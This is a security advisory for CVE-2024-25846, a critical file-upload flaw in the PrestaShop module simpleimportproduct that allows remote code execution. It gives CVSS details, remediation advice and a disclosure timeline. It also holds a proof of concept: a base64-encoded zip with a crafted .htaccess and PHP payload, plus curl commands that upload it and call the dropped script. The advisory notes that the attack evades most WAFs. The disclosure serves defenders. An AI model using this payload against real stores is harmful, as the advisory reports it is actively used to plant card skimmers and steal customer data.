In the module “Product Catalog (CSV, Excel) Import” (simpleimportproduct) up to version 6.7.0 from MyPrestaModules for PrestaShop, a guest can upload files with extensions .php.


  • CVE ID: CVE-2024-25846
  • Published at: 2024-02-27
  • Platform: PrestaShop
  • Product: simpleimportproduct
  • Impacted release: <= 6.7.0 (6.7.1 ““fixed”” the vulnerability - See note below)
  • Product author: MyPrestaModules
  • Weakness: CWE-434
  • Severity: critical (10)


The method Send::__construct() allows the upload of .zip files, which can be auto uncompress in a predictable directory, author tries to protect it with a.htaccess, but since we can forge a zip with a custom .htaccess and a PHP payload, it will lead to a critical vulnerability CWE-94.

WARNING : Be warned that this exploit will bypass the majority of WAF (zipped payload with htaccess auto-hijacked)

Note : The author has moved its exposed ajax script which suffers a critical issue to a front controller under an unpredictable token. It remains a critical vulnerability issue with a CVSS 3.1 score 9.1/10. For this reason, you should consider to delete this module.

Edit 2024-07-09 - WARNING : This exploit is actively used to deploy webskimmer to massively steal credit cards. Since POC is now exploited, it is considered public.

CVSS base metrics

  • Attack vector: network
  • Attack complexity: low
  • Privilege required: none
  • User interaction: none
  • Scope: changed
  • Confidentiality: high
  • Integrity: high
  • Availability: high

Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Possible malicious usage

  • Obtain admin access
  • Remove data from the associated PrestaShop
  • Steal data

Proof of concept

echo 'UEsDBBQAAAAIACmivFa0Sii9DgAAAA4AAAAJAAAALmh0YWNjZXNzS8zJyS9XSCvKz1UAMgFQSwMEFAAAAAgAoqG8Vp+ixh8WAAAAFAAAAAUAAABhLnBocLOxL8go4OVKTc7IV9AwMtQ2MtS0BgBQSwECHwAUAAAACAAporxWtEoovQ4AAAAOAAAACQAkAAAAAAAAACAAAAAAAAAALmh0YWNjZXNzCgAgAAAAAAABABgA59XXo5CR2QHn1dejkJHZAeJTwpqQkdkBUEsBAh8AFAAAAAgAoqG8Vp+ixh8WAAAAFAAAAAUAJAAAAAAAAAAgAAAANQAAAGEucGhwCgAgAAAAAAABABgA07RBDJCR2QHTtEEMkJHZAaRqZqCOkdkBUEsFBgAAAAACAAIAsgAAAG4AAAAAAA==' > tmp && base64 -d tmp > && curl -v -F "" 'https://preprod.X/modules/simpleimportproduct/classes/send.php?zip_file=1&ajax=1&stepTwo=1&import_settings_name=1' && curl -v 'https://preprod.X/modules/simpleimportproduct/data/zip_files/a.php'

Other recommendations

  • It’s recommended to delete the module simpleimportproduct or at least, to upgrade it to its latest version.
  • Activate OWASP 933’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.


Date Action
2023-05-28 Issue discovered during a code review by
2023-05-28 Contact PrestaShop Addons security Team to confirm version scope
2023-06-01 PrestaShop Addons security Team confirms version scope
2023-11-15 Author provide a patch
2024-02-22 Received CVE ID
2024-02-27 Publish this security advisory